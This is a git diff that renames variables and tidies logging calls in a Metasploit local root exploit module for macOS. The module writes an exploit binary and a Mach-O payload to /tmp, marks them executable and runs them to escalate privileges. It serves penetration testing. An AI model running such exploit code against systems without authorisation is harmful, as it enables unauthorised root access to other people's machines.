diff --git a/modules/exploits/osx/local/iokit_keyboard_root.rb b/modules/exploits/osx/local/iokit_keyboard_root.rb
index 18f67f32d5..25e7a6ec18 100644
--- a/modules/exploits/osx/local/iokit_keyboard_root.rb
+++ b/modules/exploits/osx/local/iokit_keyboard_root.rb
@@ -61,23 +61,23 @@ class Metasploit3 < Msf::Exploit::Local
 
   def exploit
     osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
-    exploit = File.read(File.join(osx_path, 'key_exploit.bin'))
-    pload   = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
-    tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
-    payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
+    binary_exploit = File.read(File.join(osx_path, 'key_exploit.bin'))
+    binary_payload   = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
+    exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
+    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
 
-    print_status "Writing temp file as '#{tmpfile}'"
-    write_file(tmpfile, exploit)
-    register_file_for_cleanup(tmpfile)
+    print_status("Writing exploit file as '#{exploit_file}'")
+    write_file(exploit_file, binary_exploit)
+    register_file_for_cleanup(exploit_file)
 
-    print_status "Writing payload file as '#{payloadfile}'"
-    write_file(payloadfile, pload)
-    register_file_for_cleanup(payloadfile)
+    print_status("Writing payload file as '#{payload_file}'")
+    write_file(payload_file, binary_payload)
+    register_file_for_cleanup(payload_file)
 
-    print_status "Executing payload..."
-    cmd_exec("chmod +x #{tmpfile}")
-    cmd_exec("chmod +x #{payloadfile}")
-    cmd_exec("#{tmpfile} #{payloadfile}")
+    print_status("Executing payload...")
+    cmd_exec("chmod +x #{exploit_file}")
+    cmd_exec("chmod +x #{payload_file}")
+    cmd_exec("#{exploit_file} #{payload_file}")
   end
 
   def osx_ver